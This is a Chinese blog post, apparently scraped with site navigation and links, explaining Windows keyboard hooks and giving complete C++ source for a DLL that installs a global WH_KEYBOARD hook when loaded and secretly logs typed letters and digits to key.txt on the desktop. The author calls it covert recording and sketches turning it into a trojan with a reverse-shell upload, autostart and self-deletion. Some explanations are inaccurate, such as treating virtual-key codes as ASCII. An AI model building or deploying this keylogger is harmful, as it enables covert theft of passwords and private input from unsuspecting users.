当前位置: 首页 > news >正文

键盘HOOK解析

键盘HOOK也可以是全局的或者仅仅是监控某一个线程。但是这种钩子比较典型。所以拎出来专门写了一篇。与全局钩子(特指WH_GETMESSAGE类型的钩子,这里称其为全局是因为它监控的是系统消息队列并不是说键盘钩子不能全局监控)一样,都是截获消息,只是键盘HOOK类型专门用于键盘消息的监控。看一下其类型的描述:

可以看到这里键盘钩子类型有两种,一种是WH_KEYBOARD还有一种是WH_KEYBOARD_LL。这两种钩子的区别是什么?

区别在于其回调函数。

1. WH_KEYBOARD类型的键盘钩子的回调函数截获消息是在GetMessage或PeekMessage函数获取到消息并且消息类型是WM_KEYDOWN或WM_KEYUP的时候。如下描述:

2. WH_KEYBOARD_LL的键盘猴子的回调函数截获消息则是在键盘输入消息传递到特定线程的输入队列的时候,此时也许并没有被消息循环分配出去。

两者用法非常相似,用法也与WH_GETMESSAGE的方式也一样,就是回调函数不同。这里以WH_KEYBOARD来举例。

先上代码:

// 下面是DLL部分
// KeyboardHook.cpp
#define KEYBOARDHOOK extern "C" __declspec(dllexport)
#include "KeyboardHook.h"
#include <ShlObj.h>
#include <cstdio>#pragma data_seg("hook")HHOOK g_hHook = NULL;HMODULE g_hModule = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:hook,RWS")BOOL g_bCapsLock = FALSE;
BOOL g_bShift = FALSE;BOOL SetKeyboardHook() {if (g_hHook == NULL) {g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hModule, 0);if (g_hHook == NULL)return(FALSE);elsereturn(TRUE);}return(TRUE);
}BOOL UnsetKeyboardHook() {BOOL bRet = FALSE;if (NULL != g_hHook) {bRet = UnhookWindowsHookEx(g_hHook);if (bRet)return(TRUE);elsereturn(FALSE);}return(TRUE);
}BOOL SaveFile(LPCTSTR pszFileName, LPCTSTR pBuffer) {DWORD dwSize = 0;HANDLE hFile = CreateFile(pszFileName, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);if (INVALID_HANDLE_VALUE == hFile)return(FALSE);SetFilePointer(hFile, 0, 0, FILE_END);WriteFile(hFile, pBuffer, _tcslen(pBuffer), &dwSize, NULL);CloseHandle(hFile);return(TRUE);
}LRESULT CALLBACK KeyboardProc(_In_ int    code,_In_ WPARAM wParam,_In_ LPARAM lParam
) {TCHAR ch[20] = {0};TCHAR szPath[MAX_PATH] = {0};TCHAR szNewFile[MAX_PATH] = {0};if (((DWORD)lParam & 0x40000000) && (HC_ACTION == code)) {if (wParam == VK_ESCAPE)ch[0] = ' ';else if (wParam >= 0x30 && wParam <= 0x39)ch[0] = (char)wParam;else if (wParam >= 0x41 && wParam <= 0x5A) {if (GetKeyState(VK_CAPITAL) ^ GetKeyState(VK_SHIFT))ch[0] = (char)(wParam + 0x20);elsech[0] = (char)wParam;}else if (wParam == VK_RETURN)wsprintf(ch, "%s", "\r\n");SHGetSpecialFolderPath(NULL, szPath, CSIDL_DESKTOP, FALSE);_tcscpy_s(szNewFile, _countof(szNewFile) * sizeof(TCHAR), szPath);_tcscat_s(szNewFile, _countof(szNewFile) * sizeof(TCHAR), "\\key.txt");SaveFile(szNewFile, ch);}return(CallNextHookEx(g_hHook, code, wParam, lParam));
}// KeyboardHook.h
#ifndef _KEYBOARDHOOK_H_
#define _KEYBOARDHOOK_H_#include <windows.h>
#include <tchar.h>#ifdef KEYBOARDHOOK#else#define KEYBOARDHOOK extern "C" __declspec(dllimport)
#endifKEYBOARDHOOK BOOL SetKeyboardHook();KEYBOARDHOOK BOOL UnsetKeyboardHook();KEYBOARDHOOK LRESULT CALLBACK KeyboardProc(_In_ int    code,_In_ WPARAM wParam,_In_ LPARAM lParam
);
#endif// DllMain.cpp
#include <windows.h>
#include <tchar.h>
#define KEYBOARDHOOK extern "C" __declspec(dllexport)
#include "KeyboardHook.h"extern HMODULE g_hModule;BOOL WINAPI DllMain(HINSTANCE hInst, DWORD fdwReason, LPVOID lpReserved) {switch (fdwReason) {case DLL_PROCESS_ATTACH:g_hModule = hInst;SetKeyboardHook();break;case DLL_PROCESS_DETACH:UnsetKeyboardHook();g_hModule = NULL;break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:break;}return(TRUE);
}// 测试代码
#include <windows.h>
#include <tchar.h>
#include <cstdio>
#define KEYBOARDHOOK extern "C" __declspec(dllexport)
#include "KeyboardHook.h"#pragma comment(lib, "KeyboardHook.lib")int _tmain() {HMODULE hDll = LoadLibrary("KeyboardHook.dll");if (NULL == hDll)return(-1);_tprintf("Load hook succeeded!\n");system("pause");_tprintf("Free hook succeeded!\n");FreeLibrary(hDll);system("pause");return(0);
}

该程序的目的是把键盘输入(大小写字母与数字)偷偷记录并保存到桌面名为key.txt的文档里。假设写上网络传输模块,比如以反弹shell的形式将获得信息传到某个服务器,再加上自启动,自删除之类的就是一个木马雏形了。解释一下几点:

1. 关于回调函数:

LRESULT CALLBACK KeyboardProc(_In_ int    code,_In_ WPARAM wParam,_In_ LPARAM lParam
);

解释一下它的参数:

第一个code有两种,一种是HC_ACTION意思是有键盘消息来了,还有一种是HC_NOREMOVE意思是键盘消息还在消息队列里面并没有进入消息循环。一般都是HC_ACTION

第二个wParam参数在不同的Windows消息有不同的含义,这里意义是按键的虚拟键代码,通俗的讲就是ASCII码。

第三个lParam参数比较复杂,这里拿出MSDN然后慢慢解释

lParam一种有32为是一个双字。

0-15 即其中低16位是键盘按键重复次数,就是假设你短期内狂按某个键由于计算机处理速度不够,键盘消息会堆积在消息队列里等待,这里就是堆积的键盘消息数目。

16-23 是扫描码,无所谓。但如果你使用ToAscii之类的API来转换键盘消息那这个扫描码就有用了,不过无需关注

24 是否是拓展键, 该位为1代表是拓展键,0则不是

25-28 保留,无用

29 键盘上的Alt按键是否被按下,该位为1则表示按下否则没有

30 先前按键状态,如果你按下这个键之前这个键是没被按住的状态则是0,如果持续被按住(即之前也被按住)则是1

31 当前按键状态,现在被按下是1否则是0

2. 关于GetKeyState

这个API传入一个虚拟键代码,判断该键的当前状态,如果是控制键(比如Ctrl, Alt, Enter等无字符的键)被按下那其返回的一个16位USHORT值最低位为1,如果是字符键则最高位是1。

(完)

http://www.xdnf.cn/news/815563.html

相关文章:

  • 世界著名反垃圾邮件组织的介绍
  • java3D 简介
  • 图解网络:36张图详解网络基础知识
  • HDMI接口基础知识与指南
  • 元心科技加入,龙蜥社区迎来国内领先的智能移动OS厂商
  • chmod命令详细用法
  • [计算机提升] 还原系统:Ghost备份
  • 软件优化理论基础以及方法论小结.
  • 读取QQ ClientKey失败分析
  • datetime与smalldatetime之间的区别小结
  • 为了下载文件不得不发布一篇文章,写一个winccadvance 使用vb脚本直接写入excel的方法
  • android机器人纪念品,MiniQ 桌面机器人底盘
  • 电子技术网站大全[转]
  • Wireshark 提示和技巧 | 显示过滤之 a 不等于 b
  • 网线水晶头接法和线序(图文详解)
  • Linux系统中UI库curse.h不存在问题——贪吃蛇为例
  • android studio 腾讯,android studio接入腾讯TBS
  • uni真机调试页面空白_模拟器最强BIOS篇,如何使用uni-bios
  • 分享134个ASP整站程序源码,总有一款适合您
  • C#开源系统大汇总
  • 学生成绩管理系统(java简单课设)
  • Java设计模式——适配器模式(Adapter模式)详解
  • 数值积分法的MATLAB实现
  • awk 用法(使用入门)
  • WordPress免费的主题推荐
  • 深蓝学院 机器人操作系统ROS理论与实践(三)
  • run as date怎么用_关于“至于”用英语的五种表达方式
  • 【Windows系统编程】05.内存操作与InlineHook(详解InlineHook实现)
  • 色环电阻的识别方法
  • 网管笔记35:不得不看的黑客工具集